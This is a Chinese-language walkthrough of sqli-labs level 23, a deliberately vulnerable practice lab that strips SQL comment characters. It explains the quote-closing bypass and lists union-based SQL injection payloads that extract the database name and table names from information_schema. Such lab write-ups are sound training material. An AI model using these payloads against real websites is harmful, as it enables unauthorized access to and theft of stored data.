sqli-labs靶场通关笔记:第23关 注释符过滤
一、审题
这一关开始进入了靶场的第二阶段:进阶注入。
看一下题目,乍一看和第一题很像,id传参试一试。
测试闭合方式,根据报错信息推测是单引号闭合,但是发现加了注释符后还是报错。
二、思考
思考一下,单引号闭合,加了注释符还报错,说明注释符没有起到效果,推测注释符被过滤掉了。
悄悄查看一下源代码,果然是过滤了注释符号:
$reg = "/#/"; // 定义正则表达式,用于匹配字符 '#'
$reg1 = "/--/"; // 定义正则表达式,用于匹配连续的两个横线 '--'
$replace = ""; // 设置替换内容为空字符串,即删除匹配到的文本
$id = preg_replace($reg, $replace, $id); // 执行第一次替换:删除 $id 中所有的 '#' 字符
$id = preg_replace($reg1, $replace, $id); // 执行第二次替换:删除 $id 中所有的 '--' 字符串
我们利用注释符的目的是截断末尾,构造完整的闭合。
//源代码;
SELECT * FROM users WHERE id='$id' LIMIT 0,1//构造注释符;
SELECT * FROM users WHERE id='$id' union select 1,2,3 --+ 'LIMIT 0,1
现在的问题是,末尾的'LIMIT 0,1处理不了,这样语法就是不正确的。尝试构建完整闭合语法来实现注入。
SELECT * FROM users WHERE id='-1' union select 1,2,3 or '1' = '1 'LIMIT 0,1
这句话保持了语法完整,闭合了末尾单引号,用or构建了永真条件,'1'(字符串)比1(整数)更严谨。
三、做法
1.爆数据库名;
?id=-1'union select 1,database(),3 or '1'='1
2.爆表名;
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and '1'='1
3.爆字段,爆数据。
注意:在爆表名中使用and会返回当前数据库中的表,使用or会返回所有表。这是and和or存在的逻辑差异,具体情况具体使用。